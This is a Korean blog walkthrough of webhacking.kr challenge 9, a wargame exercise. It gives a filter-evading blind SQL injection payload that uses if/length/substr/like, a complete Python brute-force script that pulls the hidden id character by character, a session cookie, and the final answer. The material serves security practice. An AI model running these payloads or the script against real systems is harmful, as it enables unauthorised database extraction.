본문 바로가기
category/웹해킹(webhacking.kr)

웹해킹(webhacking.kr) - 9번

by 자운대고라니 2023. 2. 17.
반응형

접속하면 위 화면이 나온다. 1,2,3을 순서대로 클릭해본다.

no=1

 

no=2

 

no=3

 

url로 값이 전달되는 것을 보아 GET 방식으로 통신한다.

no=3으로 접속하면 "column: id, no" 라고 적혀 있고, id가 password값이라는 것을 알 수 있다.

예상 쿼리문을 짜보면 SELECT id FROM DB_TABLE WHERE no=$_GET['no'];

 

no=4

위 사진처럼 no에 잘못된 값이 입력되면 텍스트박스만 화면에 출력되는 것을 알 수 있다.

쿼리문이 거짓일 때 : 아무것도 안 나온다.

쿼리문이 참일 때 : 컬럼의 데이터 값이 나온다.

이를 활용해 blind sql injection이 가능한 것을 알 수 있다.

 

쿼리문에 필요한 문자가 어떤 것이 있는지 테스트해본다.

사용 불가 : and, or, ||, &&, select, union, ' ..........

사용 가능 : ), (, 0x, if, length, in, like, substr ..............

 

우선 id컬럼을 확인해야한다. if함수를 활용한다.

if(조건, 참일 때 값, 거짓일 때 값)

 

SELECT id FROM DB_TABLE WHERE no=if(length(id)like(id 길이),3,0);

 

1부터 쭉 돌려보면 11이 나오는걸 확인할 수 있다.

이젠 substr을 활용해 id값을 확인해본다.

SELECT id FROM DB_TABLE WHERE no=if(substr(id,{1~11},1)like(a~Z),3,0);

 

python을 활용해 injection을 시도한다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
 
cookies = {'PHPSESSID''l23e993lh0t787nb17so6l592d'#세션 쿠키를 입력
length = 0
BF_result = ""
 
#id length 구하기
for i in range(1,100):
    url = 'https://webhacking.kr/challenge/web-09/index.php?no=if(length(id)like({}),3,0)'.format(i)
    response = requests.get(url=url,cookies=cookies)
    print(i)
    if 'Secret' in response.text:
        length = i
        break
#id 값 구하기
for i in range(1,length): #넉넉하게 범위 잡음
    for j in range(43,127):
        url = 'https://webhacking.kr/challenge/web-09/index.php?no=if(substr(id,{},1)like({}),3,0)'.format(i,hex(j)) #url 주소를 입력
        response = requests.get(url=url, cookies=cookies)
        #print(BF_result + chr(j))
        print("{} {}".format(i,j))
        if 'Secret' in response.text:
            BF_result += chr(j)
            print("password is {}".format(BF_result))
            break
print("id is : " + BF_result)
cs

결과

결과를 보면 ALSRKSWHAQL이란 값이 나오는데, 입력하면 아무 반응이 없다.

멘탈 나가서 다른 블로그를 방문해본 결과 문자열을 소문자로 바꿔주면된다. alsrkswhaql

이는 MySQL에서 대문자 소문자를 구분하지 않아서 발생한 문제다. (ALSRKSWHAQL == alsrkswhaql)

반응형

댓글